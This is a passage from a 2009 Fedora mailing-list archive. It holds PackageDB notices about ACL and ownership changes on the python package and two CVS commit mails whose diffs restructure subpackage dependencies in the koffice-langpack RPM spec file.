Message-ID: <20091004044038.253CE10F8A4@bastion2.fedora.phx.redhat.com>

james has set the watchcommits acl on python (Fedora devel) to Approved for dmalcolm

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Sun Oct  4 04:40:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 04:40:37 +0000
Subject: [pkgdb] python had acl change status
Message-ID: <20091004044038.2E00710F8A9@bastion2.fedora.phx.redhat.com>

james has set the watchbugzilla acl on python (Fedora devel) to Approved for dmalcolm

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Sun Oct  4 04:40:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 04:40:42 +0000
Subject: [pkgdb] python had acl change status
Message-ID: <20091004044042.3499610F8B2@bastion2.fedora.phx.redhat.com>

james has set the approveacls acl on python (Fedora devel) to Approved for dmalcolm

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Sun Oct  4 04:40:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 04:40:51 +0000
Subject: [pkgdb] python ownership updated
Message-ID: <20091004044052.1222510F895@bastion2.fedora.phx.redhat.com>

Package python in Fedora devel is now owned by katzj

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Sun Oct  4 04:41:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 04:41:31 +0000
Subject: [pkgdb] python had acl change status
Message-ID: <20091004044131.A469B10F88E@bastion2.fedora.phx.redhat.com>

james has set the approveacls acl on python (Fedora 11) to Obsolete for katzj

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Sun Oct  4 04:41:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 04:41:40 +0000
Subject: [pkgdb] python had acl change status
Message-ID: <20091004044140.2993D10F892@bastion2.fedora.phx.redhat.com>

james has set the approveacls acl on python (Fedora devel) to Obsolete for katzj

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Sun Oct  4 04:41:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 04:41:58 +0000
Subject: [pkgdb] python had acl change status
Message-ID: <20091004044158.5B9C810F895@bastion2.fedora.phx.redhat.com>

james has set the approveacls acl on python (Fedora 10) to Obsolete for katzj

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Sun Oct  4 04:42:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 04:42:08 +0000
Subject: [pkgdb] python had acl change status
Message-ID: <20091004044208.4B5E110F8AB@bastion2.fedora.phx.redhat.com>

james has set the watchcommits acl on python (Fedora 12) to Approved for dmalcolm

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Sun Oct  4 04:42:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 04:42:11 +0000
Subject: [pkgdb] python had acl change status
Message-ID: <20091004044211.C82D010F8A3@bastion2.fedora.phx.redhat.com>

james has set the approveacls acl on python (Fedora 12) to Obsolete for katzj

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Sun Oct  4 04:50:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 04:50:07 +0000
Subject: [pkgdb] python ownership updated
Message-ID: <20091004045007.D8AC710F895@bastion2.fedora.phx.redhat.com>

Package python in Fedora 12 is now owned by james

To make changes to this package see:
  /pkgdb/packages/name/python



From rdieter at fedoraproject.org  Sun Oct  4 04:54:14 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun,  4 Oct 2009 04:54:14 +0000 (UTC)
Subject: rpms/koffice-langpack/devel koffice-langpack.spec,1.28,1.29
Message-ID: <20091004045414.42AED11C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/koffice-langpack/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26067

Modified Files:
	koffice-langpack.spec 
Log Message:
* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 1:2.0.83-2
- -common subpkg
- fix a fix missing %defattr's



Index: koffice-langpack.spec
===================================================================
RCS file: /cvs/pkgs/rpms/koffice-langpack/devel/koffice-langpack.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- koffice-langpack.spec	4 Oct 2009 02:54:34 -0000	1.28
+++ koffice-langpack.spec	4 Oct 2009 04:54:13 -0000	1.29
@@ -4,7 +4,7 @@
 Name:           koffice-langpack
 Epoch:          1
 Version:        2.0.83
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Language files for koffice
 
 Group:          Applications/Productivity
@@ -71,416 +71,423 @@ BuildRequires:  libxml2
 %description
 Language files for koffice
 
+%package common
+Summary: Common files for %{name}
+Group: User Interface/Desktops
+Requires: koffice-core >= %{koffice_core_version} 
+%description common
+%{summary}.
+
 %package af
 Summary:        Afrikaans language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = {version}-%{release} 
 %description af
 Provides additional Afrikaans translations for koffice
 
 %package ar
 Summary:        Arabic language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description ar
 Provides additional Arabic translations for koffice
 
 %package bs
 Summary:        Bosnian language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description bs
 Provides additional Bosnian translations for koffice
 
 %package br
 Summary:        Breton language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description br
 Provides additional Breton translations for koffice
 
 %package bg
 Summary:        Bulgarian language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description bg
 Provides additional Bulgarian translations for koffice
 
 %package ca
 Summary:        Catalan language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description ca
 Provides additional Catalan translations for koffice
 
 %package cs
 Summary:        Czech language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description cs
 Provides additional Czech translations for koffice
 
 %package cy
 Summary:        Welsh language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description cy
 Provides additional Delsh translations for koffice
 
 %package da
 Summary:        Danish language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description da
 Provides additional Danish translations for koffice
 
 %package de
 Summary:        German language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description de
 Provides additional German translations for koffice
 
 %package eo
 Summary:        Esperanto language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description eo
 Provides additional Esperanto translations for koffice
 
 %package el
 Summary:        Greek language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description el
 Provides additional Greek translations for koffice
 
 %package en_GB
 Summary:        British English language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description en_GB
 Provides additional British English translations for koffice
 
 %package es
 Summary:        Spanish language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description es
 Provides additional Spanish translations for koffice
 
 %package et
 Summary:        Estonian language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description et
 Provides additional Estonian translations for koffice
 
 %package eu
 Summary:        Basque language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description eu
 Provides additional Basque translations for koffice
 
 %package fa
 Summary:        Farsi language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description fa 
 Provides additional Farsi translations for koffice
 
 %package fi
 Summary:        Finish language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description fi
 Provides additional Finish translations for koffice
 
 %package fr
 Summary:        French language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description fr
 Provides additional French translations for koffice
 
 %package fy
 Summary:        Frisian language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description fy
 Provides additional Frisian translations for koffice
 
 %package ga
 Summary:        Irish-Gaelic language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description ga
 Provides additional Irish-Gaelic translations for koffice
 
 %package gl
 Summary:        Galician language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description gl
 Provides additional Galician translations for koffice
 
 %package he
 Summary:        Hebrew language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description he
 Provides additional Hebrew translations for koffice
 
 %package hi
 Summary:        Hindi language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description hi
 Provides additional Hindi translations for koffice
 
 %package hne
 Summary:        Chhattisgarhi language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description hne
 Provides additional Chhattisgarhi translations for koffice
 
 %package hu
 Summary:        Hungarian language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description hu
 Provides additional Hungarian translations for koffice
 
 %package is
 Summary:        Icelandic language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description is
 Provides additional Icelandic translations for koffice
 
 %package it
 Summary:        Italian language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description it
 Provides additional Italian translations for koffice
 
 %package ja
 Summary:        Japanese language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description ja
 Provides additional Japanese translations for koffice
 
 %package kk
 Summary:        Kazakh language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description kk
 Provides additional Kazakh translations for koffice
 
 %package km
 Summary:        Khmer language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description km 
 Provides additional Khmer translations for koffice
 
 %package lt
 Summary:        Lithuanian language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description lt
 Provides additional Lithuanian translations for koffice
 
 %package lv
 Summary:        Lativian language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description lv
 Provides additional Lativian translations for koffice
 
 %package mk
 Summary:        Macedonian language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description mk
 Provides additional Macedonian translations for koffice
 
 %package ms
 Summary:        Malay language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description ms
 Provides additional Malay translations for koffice
 
 %package nb
 Summary:        Bokmal language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description nb
 Provides additional Bokmal translations for koffice
 
 %package nds 
 Summary:        Low Saxon language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description nds 
 Provides additional Low Saxon translations for koffice
 
 %package ne
 Summary:        Nepali language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description ne 
 Provides additional Nepali translations for koffice
 
 %package nl
 Summary:        Dutch language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description nl
 Provides additional Dutch translations for koffice
 
 %package nn
 Summary:        Nynorsk language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description nn
 Provides additional Nynorsk translations for koffice
 
 %package pl
 Summary:        Polish language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description pl
 Provides additional Polish translations for koffice
 
 %package pt_BR
 Summary:        Brazilian Portuguese language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description pt_BR
 Provides additional Brazilian Portuguese translations for koffice
 
 %package pt
 Summary:        Portuguese language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description pt
 Provides additional Portuguese translations for koffice
 
 %package ru
 Summary:        Russian language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description ru
 Provides additional Russian translations for koffice
 
 %package ro
 Summary:        Romanian language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description ro
 Provides additional Romanian translations for koffice
 
 %package se
 Summary:        Northern Sami language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description se
 Provides additional Northern Sami translations for koffice
 
 %package sk
 Summary:        Slovak language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description sk
 Provides additional Slovak translations for koffice
 
 %package sl
 Summary:        Slovenian language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description sl
 Provides additional Slovenian translations for koffice
 
 %package sr-Latn
 Summary:        Serbian in Latin language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description sr-Latn
 Provides additional Serbian in latin translations for koffice
 
 %package sr
 Summary:        Serbian language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description sr
 Provides additional Serbian translations for koffice
 
 %package sv
 Summary:        Swedish language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description sv
 Provides additional Swedish translations for koffice
 
 %package ta
 Summary:        Tamil language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description ta
 Provides additional Tamil translations for koffice
 
 %package tg
 Summary:        Tajik language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description tg
 Provides additional Tajik translations for koffice
 
 %package tr
 Summary:        Turkish language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description tr
 Provides additional Turkish translations for koffice
 
 %package uk
 Summary:        Ukrainian language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description uk
 Provides additional Ukrainian translations for koffice
 
 %package uz
 Summary:        Uzbek language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description uz
 Provides additional Uzbek translations for koffice
 
 %package wa
 Summary:	Walloon language pack for koffice 
 Group:		Applications/Productivity 
-Requires:	koffice-core >= %{koffice_core_version}
+Requires:	%{name}-common = %{version}-%{release}
 %description wa 
 Provides additional Walloon translations for koffice
 
 %package zh_CN
 Summary:        Simplified Chinese language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description zh_CN
 Provides additional simplified chinese translations for koffice
 
 %package zh_TW
 Summary:        Traditional Chinese language pack for koffice
 Group:          Applications/Productivity
-Requires:       koffice-core >= %{koffice_core_version}
+Requires:       %{name}-common = %{version}-%{release}
 %description zh_TW
 Provides additional traditional Chinese translations for koffice
 
@@ -535,16 +542,23 @@ fi
 rm -rf %{buildroot}
 
 
+%files common
+# empty
+
 #files ar 
+#defattr(-,root,root,-)
 #lang(ar) %{_datadir}/locale/ar/LC_MESSAGES/*
 
 #files bg
+#defattr(-,root,root,-)
 #lang(bg) %{_datadir}/locale/bg/LC_MESSAGES/*
 
 #files br
+#defattr(-,root,root,-)
 #lang(br) %{_datadir}/locale/br/LC_MESSAGES/*
 
 %files ca
+%defattr(-,root,root,-)
 %lang(ca) %{_datadir}/locale/ca/LC_MESSAGES/*
 %lang(ca) %{_kde4_appsdir}/koffice/autocorrect/ca.xml
 %lang(ca) %{_kde4_docdir}/HTML/ca/*
@@ -646,11 +660,10 @@ rm -rf %{buildroot}
 %lang(it) %{_kde4_appsdir}/koffice/autocorrect/it.xml
 %lang(it) %{_kde4_docdir}/HTML/it/*
 
-%if 0
-%files lv
-%defattr(-,root,root,-)
-%lang(lv) %{_datadir}/locale/lv/LC_MESSAGES/*
-%endif
+#files lv
+#defattr(-,root,root,-)
+#lang(lv) %{_datadir}/locale/lv/LC_MESSAGES/*
+#endif
 
 %files ja
 %defattr(-,root,root,-)
@@ -718,15 +731,14 @@ rm -rf %{buildroot}
 #defattr(-,root,root,-)
 #lang(sl) %{_datadir}/locale/sl/LC_MESSAGES/*
 
-%if 0
-%files sr-Latn
-%defattr(-,root,root,-)
-%lang(sr at Latn) %{_datadir}/locale/sr at Latn/LC_MESSAGES/*
+#files sr-Latn
+#defattr(-,root,root,-)
+#lang(sr at Latn) %{_datadir}/locale/sr at Latn/LC_MESSAGES/*
 
-%files sr
-%defattr(-,root,root,-)
-%lang(sr) %{_datadir}/locale/sr/LC_MESSAGES/*
-%endif
+#files sr
+#defattr(-,root,root,-)
+#lang(sr) %{_datadir}/locale/sr/LC_MESSAGES/*
+#endif
 
 %files sv
 %defattr(-,root,root,-)
@@ -760,6 +772,10 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 1:2.0.83-2
+- -common subpkg
+- fix a fix missing %%defattr's
+
 * Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 1:2.0.83-1
 - koffice-l10n-2.0.83
 



From rdieter at fedoraproject.org  Sun Oct  4 05:03:30 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun,  4 Oct 2009 05:03:30 +0000 (UTC)
Subject: rpms/koffice-langpack/devel koffice-langpack.spec,1.29,1.30
Message-ID: <20091004050330.5F3F011C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/koffice-langpack/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28147

Modified Files:
	koffice-langpack.spec 
Log Message:
drop -common, use main instead



Index: koffice-langpack.spec
===================================================================
RCS file: /cvs/pkgs/rpms/koffice-langpack/devel/koffice-langpack.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- koffice-langpack.spec	4 Oct 2009 04:54:13 -0000	1.29
+++ koffice-langpack.spec	4 Oct 2009 05:03:30 -0000	1.30
@@ -68,426 +68,421 @@ BuildRequires:  gettext
 BuildRequires:  kdelibs4-devel
 BuildRequires:  libxml2
 
+Requires: koffice-core >= %{koffice_core_version}
+
 %description
 Language files for koffice
 
-%package common
-Summary: Common files for %{name}
-Group: User Interface/Desktops
-Requires: koffice-core >= %{koffice_core_version} 
-%description common
-%{summary}.
-
 %package af
 Summary:        Afrikaans language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = {version}-%{release} 
+Requires:       %{name} = %{version}-%{release} 
 %description af
 Provides additional Afrikaans translations for koffice
 
 %package ar
 Summary:        Arabic language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description ar
 Provides additional Arabic translations for koffice
 
 %package bs
 Summary:        Bosnian language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description bs
 Provides additional Bosnian translations for koffice
 
 %package br
 Summary:        Breton language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description br
 Provides additional Breton translations for koffice
 
 %package bg
 Summary:        Bulgarian language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description bg
 Provides additional Bulgarian translations for koffice
 
 %package ca
 Summary:        Catalan language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description ca
 Provides additional Catalan translations for koffice
 
 %package cs
 Summary:        Czech language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description cs
 Provides additional Czech translations for koffice
 
 %package cy
 Summary:        Welsh language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description cy
 Provides additional Delsh translations for koffice
 
 %package da
 Summary:        Danish language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description da
 Provides additional Danish translations for koffice
 
 %package de
 Summary:        German language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description de
 Provides additional German translations for koffice
 
 %package eo
 Summary:        Esperanto language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description eo
 Provides additional Esperanto translations for koffice
 
 %package el
 Summary:        Greek language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description el
 Provides additional Greek translations for koffice
 
 %package en_GB
 Summary:        British English language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description en_GB
 Provides additional British English translations for koffice
 
 %package es
 Summary:        Spanish language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description es
 Provides additional Spanish translations for koffice
 
 %package et
 Summary:        Estonian language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description et
 Provides additional Estonian translations for koffice
 
 %package eu
 Summary:        Basque language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description eu
 Provides additional Basque translations for koffice
 
 %package fa
 Summary:        Farsi language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description fa 
 Provides additional Farsi translations for koffice
 
 %package fi
 Summary:        Finish language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description fi
 Provides additional Finish translations for koffice
 
 %package fr
 Summary:        French language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description fr
 Provides additional French translations for koffice
 
 %package fy
 Summary:        Frisian language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description fy
 Provides additional Frisian translations for koffice
 
 %package ga
 Summary:        Irish-Gaelic language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description ga
 Provides additional Irish-Gaelic translations for koffice
 
 %package gl
 Summary:        Galician language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description gl
 Provides additional Galician translations for koffice
 
 %package he
 Summary:        Hebrew language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description he
 Provides additional Hebrew translations for koffice
 
 %package hi
 Summary:        Hindi language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description hi
 Provides additional Hindi translations for koffice
 
 %package hne
 Summary:        Chhattisgarhi language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description hne
 Provides additional Chhattisgarhi translations for koffice
 
 %package hu
 Summary:        Hungarian language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description hu
 Provides additional Hungarian translations for koffice
 
 %package is
 Summary:        Icelandic language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description is
 Provides additional Icelandic translations for koffice
 
 %package it
 Summary:        Italian language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description it
 Provides additional Italian translations for koffice
 
 %package ja
 Summary:        Japanese language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description ja
 Provides additional Japanese translations for koffice
 
 %package kk
 Summary:        Kazakh language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description kk
 Provides additional Kazakh translations for koffice
 
 %package km
 Summary:        Khmer language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description km 
 Provides additional Khmer translations for koffice
 
 %package lt
 Summary:        Lithuanian language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description lt
 Provides additional Lithuanian translations for koffice
 
 %package lv
 Summary:        Lativian language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description lv
 Provides additional Lativian translations for koffice
 
 %package mk
 Summary:        Macedonian language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description mk
 Provides additional Macedonian translations for koffice
 
 %package ms
 Summary:        Malay language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description ms
 Provides additional Malay translations for koffice
 
 %package nb
 Summary:        Bokmal language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description nb
 Provides additional Bokmal translations for koffice
 
 %package nds 
 Summary:        Low Saxon language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
+Requires:       %{name} = %{version}-%{release}
 %description nds 
 Provides additional Low Saxon translations for koffice
 
 %package ne
 Summary:        Nepali language pack for koffice
 Group:          Applications/Productivity
-Requires:       %{name}-common = %{version}-%{release}
